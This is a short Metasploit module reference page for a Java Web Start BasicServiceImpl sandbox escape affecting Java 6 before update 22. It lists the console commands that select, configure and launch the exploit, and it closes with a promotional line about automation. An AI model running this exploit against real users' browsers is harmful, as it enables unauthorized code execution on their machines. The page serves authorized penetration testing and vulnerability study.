Sun Java Web Start BasicServiceImpl Code Execution



This module exploits a vulnerability in Java Runtime Environment that allows an attacker to escape the Java Sandbox. By injecting a parameter into a javaws call within the BasicServiceImpl class the default java sandbox policy file can be therefore overwritten. The vulnerability affects version 6 prior to update 22. NOTE: Exploiting this vulnerability causes several sinister-looking popup windows saying that Java is "Downloading application."

Module Options

To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':

msf > use exploit/windows/browser/java_basicservice_impl
msf exploit(java_basicservice_impl) > show targets
msf exploit(java_basicservice_impl) > set TARGET < target-id >
msf exploit(java_basicservice_impl) > show options
    ...show and set options...
msf exploit(java_basicservice_impl) > exploit

Time is precious, so I don’t want to do something manually that I can automate. Leveraging the Metasploit Framework when automating any task keeps us from having to re-create the wheel as we can use the existing libraries and focus our efforts where it matters.
